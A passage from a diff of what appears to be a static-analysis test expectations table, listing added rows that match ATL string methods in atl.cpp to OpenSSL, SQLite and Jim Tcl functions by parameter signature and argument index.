*,int) | CSimpleStringT | CopyCharsOverlapped | 0 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (action *,FILE *,int) | | PrintAction | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (acttab *,int,int) | | acttab_action | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,SD *,int) | | sd_load | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | CRYPTO_strdup | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | sqlite3_strnicmp | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,long *,int) | | Jim_StringToWide | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (int,int,int) | | ASN1_object_size | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (regex_t *,const char *,int) | | jim_regcomp | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned int,int,int) | | ossl_blob_length | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (void *,const char *,int) | | CRYPTO_secure_free | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ASN1_tag2str | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | Jim_SignalId | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | PKCS12_init | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | Symbol_Nth | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_tolower | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_toupper | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | pulldown_test_framework | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | sqlite3_errstr | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | tls1_alert_code | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | tls13_alert_code | 0 | +| atl.cpp:931:11:931:15 | GetAt | (int) | | wait_until_sock_readable | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_tag2str | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | Jim_SignalId | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | PKCS12_init | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | Symbol_Nth | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_tolower | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_toupper | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | pulldown_test_framework | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | sqlite3_errstr | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | tls1_alert_code | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | tls13_alert_code | 0 | +| atl.cpp:932:11:932:19 | GetBuffer | (int) | | wait_until_sock_readable | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_tag2str | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | Jim_SignalId | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | PKCS12_init | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | Symbol_Nth | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_tolower | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_toupper | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | pulldown_test_framework | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | sqlite3_errstr | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | tls1_alert_code | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | tls13_alert_code | 0 | +| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | wait_until_sock_readable | 0 | | atl.cpp:938:10:938:14 | SetAt | (XCHAR,XCHAR) | CStringT | Replace | 1 | | atl.cpp:938:10:938:14 | SetAt | (const CStringT &,char) | | operator+ | 1 | | atl.cpp:938:10:938:14 | SetAt | (int,XCHAR) | CStringT | Insert | 0 | | atl.cpp:938:10:938:14 | SetAt | (int,XCHAR) | CStringT | Insert | 1 | +| atl.cpp:939:10:939:18 | SetString | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:939:10:939:18 | SetString | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:939:10:939:18 | SetString | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:939:10:939:18 | SetString | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:939:10:939:18 | SetString | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:939:10:939:18 | SetString | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:939:10:939:18 | SetString | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:939:10:939:18 | SetString | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:939:10:939:18 | SetString | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:939:10:939:18 | SetString | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:939:10:939:18 | SetString | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:939:10:939:18 | SetString | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:939:10:939:18 | 